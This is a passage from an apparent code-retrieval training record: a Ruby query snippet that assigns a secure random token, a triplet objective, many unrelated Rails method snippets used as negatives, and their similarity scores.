self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end", "def categories\n add_to_query restrict_kind: 'category'\n end", "def set_elements\n super\n # View Related Documents Tab\n element(:view_related_tab_toggle) {b.input(:id => \"tab-ViewRelatedDocuments-imageToggle\")}\n element(:view_related_po_link) {b.a(:xpath => \"//div[@id='tab-ViewRelatedDocuments-div']/descendant::h3[contains(text(),'Purchase Order')]/a\")}\n element(:view_related_requisition_link) {b.a(:xpath => \"//div[@id='tab-ViewRelatedDocuments-div']/descendant::h3[contains(text(),'Requisition')]/a\")}\n # Delivery Tab\n element(:delivery_tab_toggle) {b.input(:id => \"tab-Delivery-imageToggle\")}\n element(:building_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[2]/td[1]\")}\n element(:campus_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[1]/td[1]\")}\n element(:closed_room_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[5]/td[1]\")}\n element(:closed_building_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[2]/td[1]\")}\n element(:closed_campus_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/div/table/tbody/tr[1]/td[1]\")}\n element(:closed_address_1_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[3]/th[1]/following-sibling::td[1]\")}\n element(:closed_address_2_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[4]/th[1]/following-sibling::td[1]\")}\n element(:closed_city_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[6]/th[1]/following-sibling::td[1]\")}\n element(:closed_state_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[7]/th[1]/following-sibling::td[1]\")}\n element(:closed_postal_code_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[8]/th[1]/following-sibling::td[1]\")}\n element(:closed_country_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[9]/th[1]/following-sibling::td[1]\")}\n element(:closed_delivery_to_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[1]/th[1]/following-sibling::td[2]\")}\n element(:closed_delivery_phone_number_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[2]/th[1]/following-sibling::td[2]\")}\n element(:closed_email_field) {b.td(:xpath => \"//div[@id='tab-Delivery-div']/descendant::tr[3]/th[1]/following-sibling::td[2]\")}\n # Vendor Tab\n element(:vendor_tab_toggle) {b.input(:id => \"tab-Vendor-imageToggle\")}\n element(:closed_vendor_name_field) {b.td(:xpath => \"//tr/th[div[contains(text(),'Suggested Vendor:')]]/following-sibling::td[1]\")}\n # Route Log Tab\n element(:route_log_tab_toggle) {b.input(:id => \"tab-RouteLog-imageToggle\")}\n # element(:actions_taken) {b.bs(:xpath => \"//div[@id='tab-ActionsTaken-div']/div[1]/table/tbody/tr/td[1]/b\")}\n # element(:actions_taken_by) {b.as(:xpath => \"//div[@id='tab-ActionsTaken-div']/div[1]/table/tbody/tr/td[2]/a\")}\n end", "def child_relation; end", "def index\n @physical_categories = PhysicalCategory.all\n \n @physical_category = PhysicalCategory.new\n end", "def populate_category\n\t\t\t\tif params[:purpose] == \"category\"\n\t\t\t\t\t\tcategory = Category.find(params[:category_id])\n\t\t\t\t\t\t@sub_categories = category.sub_categories\n\t\t\t\telsif params[:purpose] == \"sub_category\"\n\t\t\t\t\t\tsub_category = SubCategory.find(params[:category_id])\n\t\t\t\t\t\t@inner_categories = sub_category.inner_categories\n\t\t\t\tend\n\t\tend", "def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end", "def load_Obj\n @grupos = Grupo.all\n @nivels = Nivel.select(:id, :nombre).where(\"nombre != ?\", \"CAPITULO\" )\n# @papa = Catalogo.select(:id, :codigo, :nombre).where(\"estransaccional = ? AND activo = ? \", false, true) \n @ajuste = Catalogo.select(:id, :codigo, :nombre).where(\"estransaccional = ? AND activo = ?\", true, true )\n @laux = Libroauxiliar.select(:id, :descripcion).where(\"activo = ?\", true)\n end", "def set_categoria_ing\n @categoria_ing = CategoriaIng.find(params[:id])\n end", "def card_aspects for_column=nil\n decorator.object.is_a?(Taggable) ? decorator.individual_tagtypes : []\n end", "def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end", "def index\n @categorie_competences = CategorieCompetence.all\n end", "def index\n @categoria_productos = CategoriaProducto.order(:categorium_id)\n end", "def set_categorias_produto\n #@categorias_produto = CategoriasProduto.find(params[:id])\n end", "def all_categories\n end", "def categoria_percent\n \n obj1 = Array.new\n num_anuncios = Anuncio.all.count\n Category.all.each do |c|\n val = (c.anuncios.count.to_f / num_anuncios) * 100\n\n obj1.push([ c.nome, val ])\n end\n\n return obj1\n end", "def index\n @operaziones_cat_coltures = OperazionesCatColture.all\n end", "def index\n @medium_categories = MediumCategory.all\n end", "def associate_overnights items, dilution_factor, data_od\n final_table = [[\"Cuvette\", \"Item\", \"Association Key\", \"OD\"]]\n time = Time.now\n items.each_with_index do |item, index|\n final_table_curr = []\n #note \"#{index}\"\n # note \"#{data_od[\"OD#{index + 1}\".to_sym]}\"\n measured_od = data_od[\"OD#{index + 1}\".to_sym].to_f\n # note \"measured_od: #{measured_od}\"\n # dilution_factor = (op.input(CULT_VOL).val.to_f) / (op.input(CULT_VOL).val.to_i + op.input(MEDIA_VOL).val.to_f)\n actual_od = (dilution_factor.to_f * measured_od).round(3)\n if item.get(\"optical_density\").nil?\n item.associate \"optical_density\", Hash.new\n end\n od_hash = item.get(\"optical_density\")\n # note \"actual_od: #{actual_od}\"\n od_hash[\"#{time.strftime \"%Y%m%d_%H_%M\"}\"] = actual_od\n item.associate \"optical_density\", od_hash\n final_table_curr.push(index + 1)\n final_table_curr.push(item.id)\n final_table_curr.push(\"#{time.strftime \"%Y%m%d_%H_%M\"}\")\n final_table_curr.push(actual_od)\n final_table.push(final_table_curr)\n end\n \n # Displays items and OD table\n show do\n title \"Items and OD table\"\n \n table final_table\n end\n end", "def index\n @subcategoria = Subcategorium.all\n end", "def categorize_reports\n \t@reports = Report.all\n \t@reports.each do |report|\n \t\t# Get crime description\n \t\tdescription = report.description\n\n \t\t# Assign crime category based on description\n\t \tcase description\n\t\t\twhen \"118 - Theft - From Motor Vehicle - Petit\"\n\t\t\t\treport.update_attribute(:category, \"Theft From Motor Vehicle\")\n\t\t\twhen \"117 - Theft - From Motor Vehicle - Felony\"\n\t\t\t\treport.update_attribute(:category, \"Theft From Motor Vehicle\")\n\t\t\twhen \"450 - Robbery\"\n\t\t\t\treport.update_attribute(:category, \"Robbery\")\n\t\t\twhen \"254 - Assault\"\n\t\t\t\treport.update_attribute(:category, \"Assault\")\n\t\t\twhen \"262 - Felony Assault\"\n\t\t\t\treport.update_attribute(:category, \"Assault\")\n\t\t\twhen \"200 - Motor Vehicle Theft\"\n\t\t\t\treport.update_attribute(:category, \"Motor Vehicle Theft\")\n\t\t\twhen \"101 - Burglary - Zone 1\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"102 - Burglary - Zone 2\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"103 - Burglary - Zone 3\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"104 - Burglary - Zone 4\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"105 - Burglary - Zone 5\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"300 - Rape/Sexual Assault Vic 16 Yr and Older\"\n\t\t\t\treport.update_attribute(:category, \"Rape\")\n\t\t\twhen \"301 - Rape/Sexual Assault Vic 15 Yr and Younger\"\n\t\t\t\treport.update_attribute(:category, \"Rape\")\n\t\t\twhen \"250 - Homicide\"\n\t\t\t\treport.update_attribute(:category, \"Murder\")\n\t\tend\n\n\t\t# Get crime year\n\t\tyear = \"\"\n\t\tif report.date.length == 10\n\t\t\tyear = report.date[6..10]\n\t\tend\n\n\t\t# Update Year column from date\n\t\treport.update_attribute(:year, year)\n\tend\n\n\tredirect_to 'http://localhost:3000/admin'\n\n end", "def load_methods(category, sheet, admin)\n\n p \"========================= LOAD DESIGN METHODS =========================\"\n\n #Load in design method fields\n fields = Hash.new\n sheet.each METHOD_ROW do |row|\n name = row[METHOD_INDEX].to_s.strip\n\n if name.empty?\n break\n elsif DesignMethod.exists?(name: name)\n design_method = DesignMethod.where(name: name).first\n else\n fields[:name] = name\n fields[:overview] = row[METHOD_INDEX + 1].to_s.strip\n fields[:process] = \"default\"\n aka = row[METHOD_INDEX + 2].to_s.strip\n image = row[METHOD_INDEX + 3].to_s.strip\n\n design_method = DesignMethod.new(fields)\n design_method.owner = admin\n design_method.aka = aka\n design_method.main_image = image\n\n if !design_method.save\n p \"Error while creating a design method: #{fields[:name]} \"\n design_method.errors.full_messages.each do |message|\n p \"\\t#{message}\"\n end\n next\n end\n end\n\n p \"Added #{design_method.name}\"\n \n #Load in characteristics \n j = CHARACTERISTIC_INDEX\n characteristics = row[j]\n group_row = sheet.row(CHAR_ROW)\n\n while characteristics != nil\n group_name = group_row[j].to_s.strip\n group = CharacteristicGroup.where(name: group_name).first_or_create!\n if group\n category.characteristic_groups << group\n end\n \n characteristics.split(/, *\\n*/).each do |char_name|\n if !char_name.blank?\n characteristic = Characteristic.where({name: char_name, characteristic_group_id: group.id}).first_or_create!\n if characteristic && !design_method.characteristics.include?(characteristic)\n design_method.characteristics << characteristic\n p \" Added #{characteristic.name}\"\n end\n end\n end\n\n j += 1\n characteristics = row[j]\n end\n\n #Load in citations\n citations = row[METHOD_INDEX + 4]\n if citations\n citations.split(/, *\\n/).each do |cit|\n if !cit.blank?\n citation = Citation.where(text: cit).first_or_create!\n if !design_method.citations.include?(citation)\n design_method.citations << citation\n p \" Added #{citation.text}\"\n end\n end\n end\n end\n end\nend", "def part_categories\n\t\tall_models = []\n\t\tpart_categories = []\n\t\tfolder = File.join(Rails.root, \"app\", \"models\")\n\t\tDir[File.join(folder,\"*\")].each do |filename|\n\t\t all_models << File.basename(filename).sub(/.rb$/, \"\").split(\"_\").map { |name| name.capitalize }.join\n\t\t exception_list = ( all_models.select { |m| m.end_with? \"Import\"} << [\"Concerns\",\"User\"] ).flatten\n\t\t part_categories = (all_models - exception_list).map {|cat| Kernel.const_get(cat)}\n\t\tend\n\t\tpart_categories\n\tend", "def more_like_me\n # super(:similarities => 'category,keyword')\n raise \"The more_like_me functionality is not implemented.\"\n end", "def load_categories\n q = @db.query(\"select t.term_id, t.name, t.slug\n from wp_terms as t join wp_term_taxonomy as x\n on t.term_id = x.term_id\n where x.taxonomy = 'category'\")\n\n q.each_hash { |c| os = OpenStruct.new(c) ; @categories[os.term_id.to_i] = OpenStruct.new(c) }\n end", "def category_types\n @category_types.each\n end", "def create\n element_params = params[:element]\n association_params = {}\n element_params.keys.select{|key| key.include? 'associations'}.each{|key| association_params[key] = element_params.delete(key)}\n @element = Element.new(element_params)\n respond_to do |format|\n if @element.save\n associations = @element.category_element_associations\n association_params.each_value do |associations_param|\n category_ids = !associations_param.nil? && !associations_param[:category_ids].blank? ? associations_param[:category_ids].collect(&:to_i) : []\n root_id = !associations_param.nil? && !associations_param[:root_id].blank? ? associations_param[:root_id] : nil\n category_ids.each{|c_id| associations.create :category_id => c_id, :root_id => root_id.blank? ? Category.find(c_id).root.id : root_id}\n end\n flash[:notice] = 'Element was successfully created.'\n format.html { redirect_to elements_url }\n format.xml { render :xml => @element, :status => :created, :location => @element }\n else\n @root_category = Category.find(272)\n format.html { render :action => \"new\" }\n format.xml { render :xml => @element.errors, :status => :unprocessable_entity }\n end\n end\n end", "def data_categories_sheet\r\n @book.worksheet(WBF[:category_sheet])\r\n end", "def activity_complements\n\n context.render_entity_aspects(activity, :activity)\n\n end", "def getProperties\n Category.select(:id)\n end", "def categories\n category\n end", "def create_category_products(category,category_node)\n products_page_url = category_node.xpath(\"./a[1]/@href\").text\n while products_page_url\n html_product = Nokogiri::HTML(open(products_page_url))\n html_product.xpath(\"//tr/td[@class='pdescr']\").map do |product_node|\n product = create_product(product_node)\n category.add_product(product)\n end\n products_page_url = check_next(html_product)\n end\n end", "def category\n self.item.category\n end", "def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection\n general, cooking = categories(:general), categories(:cooking)\n\n assert_equal [general, cooking], authors(:bob).post_categories.order(\"categories.id\")\n end", "def index\n @bonificacions = Bonificacion.order(\"@bonificacions.categorium_id\")\n end", "def get_grafico_anuncio_categoria\n\n obj1 = categoria_percent\n\n return @h = LazyHighCharts::HighChart.new('pie') do |f|\n f.chart({:defaultSeriesType=>\"pie\" , :margin=> [30, 70, 0, 70]} )\n series = {\n :type=> \"pie\",\n :name=> 'Percentagem de Anuncios por categoria',\n :data=> obj1\n }\n f.series(series)\n f.options[:title][:text] = \"Percentagem de anuncios por categoria\"\n f.legend(:layout=> 'vertical',:style=> {:left=> 'auto', :bottom=> 'auto',:right=> '50px',:top=> '100px'}) \n f.plot_options(:pie=>{\n :allowPointSelect=>true, \n :cursor=>\"pointer\" , \n :dataLabels=>{\n :enabled=>true,\n :color=>\"white\",\n :style=>{\n :font=>\"13px Trebuchet MS, Verdana, sans-serif\",\n :width => \"50px\",\n :height => \"50px\" \n }\n }\n })\n end\n end", "def setup_items(category)\n\t\tcase category\n\n\t\t\twhen 'all'\n\t\t\t\titems = $party.items.keys.select{ |i|\n\t\t\t\t\t$data.items[i].is_a?(UsableData) # &&\n\t\t\t\t}\n\n\t\t\twhen 'cards'\n\t\t\t\titems = $party.items.keys.select{ |i|\n\t\t\t\t\t$data.items[i].id.include?('card-')\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\twhen 'goods'\n\t\t\t\titems = $party.items.keys.select{ |i|\n\t\t\t\t\t$data.items[i].is_a?(ShopData) # &&\n\t\t\t\t}\n\n\t\t\twhen 'usable'\n\t\t\t\titems = $party.items.keys.select{ |i|\n\t\t\t\t\t$data.items[i].is_a?(UsableData) # &&\n\t\t\t\t}\n\n\t\t\telse\n\t\t\t\titems = $party.items.keys.select{ |i|\n\t\t\t\t\t$data.items[i].is_a?(KeyItemData) # &&\n\t\t\t\t}\n\n\t\tend\n\t\t@list.setup(items)\n\tend", "def relationmodule\n @itemtype = params[:itemtype]\n @itemid = params[:itemid]\n \n # Get all current relations\n relatedItems = ElementsAssoc.where('(element1_type = :elm1type AND element1_id = :elm1id) OR (element2_type = :elm1type AND element2_id = :elm1id)', { :elm1type => @itemtype, :elm1id => @itemid })\n @associated = Array.new\n relatedItems.each do |item|\n if item.element1.class.to_s == @itemtype and item.element1[:id].to_s == @itemid\n @associated.push(item.element2.getCat + '_' + item.element2[:id].to_s)\n elsif item.element2.class.to_s == @itemtype and item.element2[:id].to_s == @itemid\n @associated.push(item.element1.getCat + '_' + item.element1[:id].to_s)\n end\n end\n \n self.do_search\n render layout: false\n end", "def uhook_category_partial category\n locale = ::Locale.find_by_iso_code(category.locale)\n content_tag(:dt, ::Category.human_attribute_name(\"locale\") + ':') +\n content_tag(:dd, (locale.native_name.capitalize.html_safe rescue t('ubiquo.category.any')))\n end" ]
[ "0.5335318", "0.51427984", "0.50636464", "0.5001822", "0.4998096", "0.49935436", "0.4988619", "0.4980154", "0.49641484", "0.49400413", "0.4936014", "0.49344784", "0.49252173", "0.48824444", "0.4870173", "0.48532712", "0.48389488", "0.4815928", "0.48153076", "0.48122236", "0.47962064", "0.47942165", "0.47933766", "0.47913826", "0.4770307", "0.47358295", "0.47305104", "0.4721341", "0.4714105", "0.47035527", "0.46878722", "0.46750328", "0.46702433", "0.46693495", "0.4659651", "0.4654505", "0.4654505", "0.46516842", "0.4651394", "0.4640854", "0.46403778", "0.46374226", "0.46301302", "0.4623558", "0.46192685", "0.46190047", "0.46079355", "0.46075234", "0.46062937", "0.46010512", "0.46003225", "0.45977682", "0.45898914", "0.4584623", "0.45808575", "0.45806575", "0.45795625", "0.4578979", "0.4575342", "0.45749053", "0.45736843", "0.45726946", "0.4544836", "0.45433286", "0.45417213", "0.45411584", "0.4538066", "0.45359918", "0.45350754", "0.45332515", "0.4530156", "0.4526076", "0.45258677", "0.45167246", "0.45165047", "0.45162016", "0.4515753", "0.45122656", "0.45066732", "0.4504838", "0.45011964", "0.44965175", "0.44963723", "0.4489663", "0.44891036", "0.4484358", "0.4482947", "0.44801265", "0.44750988", "0.4469915", "0.4466985", "0.4465369", "0.4465081", "0.44618276", "0.4459918", "0.44597653", "0.44553998", "0.44536912", "0.44516826", "0.44424915" ]
0.6228603
0
def assign_hora_entrega self.hora_entrega = Time.now end
def assign_secure_token self.secure_token = SecureRandom.hex end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_fecha\n self.fecha ||= self.fechahora_atencion if self.fechahora_atencion\n end", "def inizio_giorno\n Time.new(self.year, self.month, self.day)\n end", "def inizio_ora\n Time.new(self.year, self.month, self.day, self.hour)\n end", "def hora_geracao\n Time.current.strftime('%H%M%S')\n end", "def hora_geracao\n Time.current.strftime('%H%M%S')\n end", "def registro_inicio(vaca,num_horas)\n estim_reg = Time.now.advance(:hours => -num_horas.to_i).localtime\n estimate_time = estim_reg.change(:min => 0)\n return estimate_time \n end", "def modificar_hora\n # Hacemos la resta de horas que se solicita\n @tiempo = @tiempo + @zone.hour\n # Formateamos para el standar que se solicita\n @tiempo = @tiempo.strftime(\"%H:%M:%S\")\n # Devolvemos el json con un status 200\n render json: {response:{time: @tiempo, timezone: \"utc\"}}, status: :ok\n end", "def inizio_minuto\n Time.new(self.year, self.month, self.day, self.hour, self.min)\n end", "def fine_giorno\n Time.new(self.year, self.month, self.day, 23, 59, 59)\n end", "def adicionar_data\n self.date = Date.today\n end", "def set_hour_created\n self.hour_created = Time.now.in_time_zone('Eastern Time (US & Canada)').hour\n end", "def hora_inicio\n if !read_attribute(:hora_inicio).nil?\n Time.parse(read_attribute(:hora_inicio).to_s[11..17].to_s).strftime(\"%I:%M %p\")\n end\n end", "def set_date_time=(date_time)\n\t\t@date_time=DateTime.now\n\tend", "def setTime(time)\n\t\t@time = time\n\tend", "def settime(h, m)\t\t\t\t\n\t\t@t = Time.new(2016, 10, 12, h, m, 0)\t# set time class\n\t\t@hour = @t.strftime(\"%I\")\t\t# set hour\n\t\t@min = @t.strftime(\"%M\")\t\t# set minute\n\t\t\n\tend", "def fine_minuto\n Time.new(self.year, self.month, self.day, self.hour, self.min, 59)\n end", "def update_now_date_time\n @now_date_time = Time.new\n end", "def set_date\n @current_date = Time.now\n end", "def modify_time(); @modify_time ||= Time.now; end", "def set_time(time)\n @time = time.getutc\n return self\n end", "def create\n @estadia = Estadia.new(estadia_params)\n\n #Quando cria uma estadia nova, seta a data como a hora corrente\n @estadia.data_entrada = Time.now\n #ocupa a vaga\n @estadia.vaga.ocupada = true\n\n respond_to do |format|\n if @estadia.vaga.save && @estadia.save\n format.html { redirect_to @estadia, notice: 'Estadia was successfully created.' }\n format.json { render :show, status: :created, location: @estadia }\n else\n format.html { render :new }\n format.json { render json: @estadia.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_for_time timestamp\n return nil unless @date\n case timestamp[0,2]\n when \"00\"\n @datetime.hour == 23 ? @date_add_1_hr : @date\n when \"23\"\n @datetime.hour == 00 ? @date_1_hr_ago : @date\n else\n @date\n end\n end", "def set_date\n gon.time_period = @verdict.time_period.strftime('%m/%d/%Y %H:%M') if !@verdict.time_period.nil?\n end", "def setTime\n\t\t\t@time=0\n\tend", "def begin\n en_curso!\n #To set is necesary \"self\"\n self.starts_at = DateTime.current\n save\n end", "def set_default_end_time\n if self.contact_end_time.blank? && self.contact_date_date == Date.today\n self.contact_end_time = Time.now.strftime(\"%H:%M\")\n end\n end", "def fine_ora\n Time.new(self.year, self.month, self.day, self.hour, 59, 59)\n end", "def enter_service(time)\n self.entered_service_at = time\n end", "def set_now(the_date)\n @@now = the_date\n end", "def set_start_time\n @start_time = Time.now.to_f\n end", "def set_start_time\n @start_time = Time.now.to_f\n end", "def set_birth_date\n self.birth_date = Time.now\n end", "def set_time_treinador\n @time_treinador = TimeTreinador.find(params[:id])\n end", "def set_timepart\n\t\t\tlogger.debug \"DBG_20130612_1345 after_initialize\"\n\t\t\tif self.time.nil?\n\t\t\t\tself.timepart = Time.local(2000, 1, 1).strftime(\"%I:%M %p\")\n\t\t\telse\n\t\t\t\tself.timepart = self.time.strftime(\"%I:%M %p\")\n\t\t\tend\n\t\trescue ActiveRecord::MissingAttributeError\n\t\tend", "def fecha_expiration\n run_at = self.expiration_date\n end", "def time=(new_time)\n @time = new_time\n end", "def add_time\n if (date.hour == 0 or date.hour == 12) and date.min == 0 and date.sec == 0\n self.date = date + id \n end\n end", "def set_time\n \ttime = Time.now\n \tset_session\n if session[:month_number] then\n if(session[:month_number] < 0) then\n @time_now = time.months_ago(-(session[:month_number]))\n elsif (session[:month_number] > 0) then\n @time_now = time.months_since(session[:month_number])\n # if session is not yet set time is actual time\n else\n @time_now = time\n end\n end\n end", "def create_time=(time)\n @create_time = time\n update_times\n end", "def set_meet\n @meet = Meet.first\n\n @lastrun = Time.at(0)\n @lastrun = File.mtime(\"#{RAILS_ROOT}/support/lastrun\") if File.exist?(\"#{RAILS_ROOT}/support/lastrun\")\n end", "def set_current_time(option)\n @hour = option[:hour]\n @min = option[:min]\n @sec = option[:sec] || 0\n end", "def invite_date_time=(value)\n @invite_date_time = value\n end", "def set_today_time\n @day_of_week=Date.today.strftime('%A')\n end", "def hora_fin\n if !read_attribute(:hora_fin).nil?\n Time.parse(read_attribute(:hora_fin).to_s[11..17].to_s).strftime(\"%I:%M %p\")\n end\n end", "def tvivienda_hash\n inmueble_hash = {t_vivienda: t_vivienda, d_tvivienda: d_tvivienda}\n self.tvivienda = inmueble_hash\n end", "def set_time(hour, minute)\n hour = 0 if hour.negative?\n hour = 23 if hour > 23\n minute = 0 if minute.negative?\n minute = 59 if minute > 59\n time = Time.new(0, nil, nil, hour, minute, nil, nil)\n @hour = time.hour\n @minutes = time.min\n end", "def set_current_time\n current_time = Time.zone.now.strftime(\"%B %e at %I:%M %p\")\n self.start_time = current_time\n end", "def set_empresa\n @empresa = Empresa.first\n end", "def set_time(hr, min)\n time = self.current_time.split(\":\")\n time[0] = hr\n time[1] = min\n self.current_time = time.join(\":\")\n end", "def despachar\n self.estado_id = 2 # en ruta\n self.buzon_id = self.destinatario_id\n self.add_traza(current_user.id ,1, current_user.puesto.buzon_id)\n self.recepcion = Time.now\n self.save!\n end", "def utime=(*) end", "def time\n set_function_and_argument(:time, nil)\n end", "def todays_date\n @todays_date = Time.new\n end", "def time\n super\n end", "def initialize time: nil\n @time = time || ::Time.now.utc\n end", "def horas_cierre\n return current_user.grupo.end_times if current_user && !current_user.grupo.nil?\n\n HORAS_CIERRE\n end", "def create_timestamp\n self.created_at = Time.now\n end", "def now!\n self.date = Date.today\n end", "def create_timestamp\n self.created_at = Time.now\n end", "def save\n self.saved_at = Time.now\n end", "def set_time_of_day\n @time_of_day = TimeOfDay.find(params[:id])\n end", "def assign_date_submitted_to_current_time\n self.date_submitted = DateTime.now unless persisted?\n end", "def set_time\n @tDate = Time.now\n respond_to do |format|\n format.html\n format.json {render json: @tDate}\n end\n end", "def actualizar_fecha(comprobante)\n #Actualizar fecha del nodo Fecha\n node = comprobante.xpath('//@Fecha')[0]\n fecha = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n node.content = fecha\n comprobante\nend", "def set_starts_at_time_and_date\n self.starts_at_time = starts_at.strftime(\"%H:%M\")\n self.starts_at_date = starts_at.strftime(\"%Y-%m-%d\")\n end", "def spent_on=(date)\n super\n if spent_on.is_a?(Time)\n self.spent_on = spent_on.to_date\n end\n self.tyear = spent_on ? spent_on.year : nil\n self.tmonth = spent_on ? spent_on.month : nil\n self.tweek = spent_on ? Date.civil(spent_on.year, spent_on.month, spent_on.day).cweek : nil\n end", "def initialize\n @created_at = Time.now\n end", "def time=(value)\n @time = value\n end", "def set_default_times\n if !self.start\n return\n end\n\n if self.start.hour == 0 # hour set to 0 if not otherwise defined...\n self.start = self.start + 9.hours\n end\n\n if !self.end\n if self.online?\n self.end = self.start + 1.hour\n else\n diff = 17 - self.start.hour\n self.end = self.start + diff.hours\n end\n end\n # TODO: Set timezone for online events. Where to get it from, though?\n # TODO: Check events form to add timezone autocomplete.\n # Get timezones from: https://timezonedb.com/download\n\n end", "def sent_date_time=(value)\n @sent_date_time = value\n end", "def change_time(hike_instance)\n system 'clear'\n puts \"-----MY HIKES-----\"\n hours = @prompt.ask(\"Enter time in hours: \", required: true, convert: :int) {|input| input.in('0-24')}\n minutes = 61\n while minutes > 60 || minutes < 0\n minutes = @prompt.ask(\"Enter time in minutes: \", required: true, convert: :int) {|input| input.in('0-60')}\n end\n hike_instance.time_hiked = (hours * 3600) + (minutes * 60)\n hike_instance.save\n puts \"New time saved.\"\n @prompt.keypress(\"Press any key to continue\")\n end", "def set_hogar_temporal\n @hogar_temporal = HogarTemporal.find(params[:id])\n end", "def spent_on=(date)\n super\n self.tyear = spent_on ? spent_on.year : nil\n self.tmonth = spent_on ? spent_on.month : nil\n self.tweek = spent_on ? Date.civil(spent_on.year, spent_on.month, spent_on.day).cweek : nil\n self.spent_from = date\n self.spent_to = self.spent_from.advance(:hours=>hours) if self.spent_from && hours\n end", "def set_tea_time\n @tea_time = TeaTime.find(params[:id])\n end", "def set_periodo\n self.periodo = \"#{self.fecha_medicion.month}/#{self.fecha_medicion.year}\"\n end", "def date_sent\n (@date_sent ||= Time.now)\n end", "def alle(ore, minuti = 0, secondi = 0)\n Time.new(self.year, self.month, self.day, ore, minuti, secondi)\n end", "def bc_movimiento\r\n\t\t\tself.fecha = Time.now\r\n\t\t\tif self.monto_cheque == 0 \r\n\t\t\t\tmonto_cheque = 0\r\n\t\t\t\tself.cheque_recibidos.each do |cheque|\r\n\t\t\t\t\tmonto_cheque = monto_cheque + cheque.monto\r\n\t\t\t\tend\r\n\t\t\t\tself.monto_cheque = monto_cheque \r\n\t\t\tend\r\n\t\tend", "def before_create\n temp_time = Time.sl_local\n self.created_at = temp_time\n self.modified_at = temp_time\n end", "def set_horario_entrega\n @horario_entrega = HorarioEntrega.find(params[:id])\n end", "def extendbyfourteendays\n updated_at = Time.now\n end", "def hour() end", "def create\n @ponto = Ponto.new(params[:ponto])\n @ponto.entrada = Time.now\n\n respond_to do |format|\n if @ponto.save\n flash[:notice] = 'ENTRADA REALIZADA COM SUCESSO.'\n format.html { redirect_to(@ponto) }\n format.xml { render :xml => @ponto, :status => :created, :location => @ponto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ponto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def time_date_hm ; time_date && time_date.strftime(\"%H:%M\") ; end", "def activar\n\t\t\t#update_attribute(:activado, true)\n\t\t\t#update_attribute(:activado_en, Time.zone.now)\n\t\tupdate_columns(activado: true, activado_en: Time.zone.now)\n\tend", "def set_delivered_at\n self.delivered_at = Date.today\n end", "def tiempointerv(ai,mei,di,hi,mii,af,mef,df,hf,mif)\n\t\tfechaini = DateTime.new(ai,mei,di,hi,mii) #fecha de inicio\n\t\tfechafin = DateTime.new(af,mef,df,hf,mif) #fecha de final\n\t\tdiferencia = fechafin - fechaini\n\t\thours,minutes,seconds,frac = Date.day_fraction_to_time(diferencia)\n\t\tif hours < 10\n\t\t\thoras = '0' + hours.to_s\n\t\telse\n\t\t\thoras = hours.to_s\n\t\tend\n\t\tif minutes < 10\n\t\t\tminutos = '0' + minutes.to_s\n\t\telse\n\t\t\tminutos = minutes.to_s\n\t\tend\n\t\ttiempo = horas + ':' + minutos\n\t\treturn tiempo\n\n\tend", "def date\n @date ||= Time.new\n end", "def start_time\n self.date\n end", "def fecha_publicacion\n run_at = self.publication_date\n end", "def shared_date_time=(value)\n @shared_date_time = value\n end", "def set_time_before_save\n \n if self.quiz.quiz_type_id == QuizType.find_by_name(\"FullQuiz\").id\n if self.section_type_id == SectionType.find_by_name(\"Quant\").id\n self.time = 35\n elsif self.section_type_id == SectionType.find_by_name(\"Verbal\").id\n self.time = 30\n end\n elsif self.quiz.quiz_type_id == QuizType.find_by_name(\"SectionQuiz\").id\n if self.section_type_id == SectionType.find_by_name(\"Quant\").id\n self.time = 35\n elsif self.section_type_id == SectionType.find_by_name(\"Verbal\").id\n self.time = 30\n end\n 